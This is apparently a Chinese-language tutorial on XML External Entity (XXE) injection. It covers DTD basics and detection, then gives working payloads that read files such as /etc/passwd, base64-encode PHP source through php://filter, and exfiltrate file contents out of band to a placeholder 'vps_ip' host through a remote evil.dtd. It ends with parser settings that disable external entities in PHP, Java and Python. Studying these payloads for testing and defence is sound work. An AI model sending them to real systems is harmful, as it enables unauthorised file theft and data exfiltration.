开篇推荐:
xxelab - 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo
xxeserver - XXE Out of Band Server.
基础
DTD
文档类型定义(Document Type Defination)
根据我的理解,DTD就是用于声明实体(ENTITY)
的文档,为了结构清晰和防止符号的解析错误,XML中出现了实体引用
这个概念,它就类似于一种”文件包含”的形式。
形如<!ENTITY 实体名称 "实体的值">
的叫做内部实体,刑如<!ENTITY 实体名称 SYSTEM "URI">
的叫做外部实体,而这个引入URI的过程即外部实体引入,也就是xml外部实体注入漏洞的主角了。
类似的,DTD也分为内部声明和外部引用两种。
此外,在xml文档的开头<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
中standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no。
XML
可扩展标记语言(eXtensible Markup Language)
HTML主要用于显示数据,倾向数据的外观;XML 主要用于传输和存储数据,倾向数据的内容。
<!-- xml版本与编码 -->
<?xml version="1.0" encoding="utf-8"?>
<!-- 文档类型定义(DTD) 可选 -->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!-- 文档元素 -->
<note>
<to>0sec</to>
<from>xxx</from>
</note> <!-- 所有XML元素必须有关闭标签 -->
XML外部实体注入(Xml eXternal Entity injection)
检测是否可解析xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY site "0sec.com.cn">]>
<root>&site;</root>
解析成功:
尝试直接读取任意文件:
检查服务器是否支持DTD引用外部实体:
查看access.log
可知服务器没有获取到访问index.html
的请求,说明DTD外部实体未被调用。
根据https://xz.aliyun.com/t/2571,XML外部实体的解析与PHP版本无关,而与编译时的libxml库有关,在我的环境里libXML的版本为2.9.1
猜测由于查到的资料都比较老旧,新版的环境已经默认不支持DTD外部实体的引用,或做了某些限制。
测试暂时失败了,不过如上的任意文件读取就是XXE漏洞最简单的利用方式。根据chybeta的文章,读取php、html等文件时由于尖括号<>
会导致解析错误,可以用伪协议的方式进行base64转换:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>
引用外部实体的方式还有如下两种:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://0sec.com.cn/evil.dtd">
%d;
]>
<c>&b;</c>
<!-- evil.dtd:
<!ENTITY b SYSTEM "file:///etc/passwd">
-->
或
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://0sec.com.cn/evil.dtd">
<c>&b;</c>
<!--
<!ENTITY b SYSTEM "file:///etc/passwd">
-->
OOB攻击(Blind XXE)
在看不到回显时,可以使用一种被命名为Blind XXE的攻击方式,也就是所谓的OOB(Out Of Band 数据外带)攻击:
最简单的形式如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://vps_ip/evil.dtd">
<data>&send;</data>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps_ip/?%file;'>">
%all;
带有参数实体时,形式类似这样:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://vps_ip/evil.dtd">
%remote;
%send;
]>
<data>4</data>
evil.dtd:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://vps_ip/%payload;'>">
%param1;
%remote经解析引入了远程主机上的evil.dtd,dtd中引用实体param1引入send定义,在xml中%send解析时即完成了payload传输。
除了自己在vps上等待接收回显,也可以使用xxeserver工具完成OOB攻击,但是需要ruby环境,可以在kali上配合frp反向代理接收传递的数据。
其他攻击形式
- 内网探测/SSRF
其实就是程序支持http协议,可以构造http请求,上面也有例子。
- php下的RCE
实际是php支持的expect扩展协议,需要php装有expect扩展.
并不是传统意义上的任意命令执行,只是因为环境的特殊配置,导致XML与某些命令操作关联,进而造成了命令执行,PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上
- DoS
比较出名的”Billion Laughs 攻击”,payload可见DTD/XXE 攻击笔记分享,里面还有一些较少见的攻击方式。
CTF题目
防御漏洞
开发语言直接禁用外部实体
- PHP:
libxml_disable_entity_loader(true);
- JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤
…
参考链接: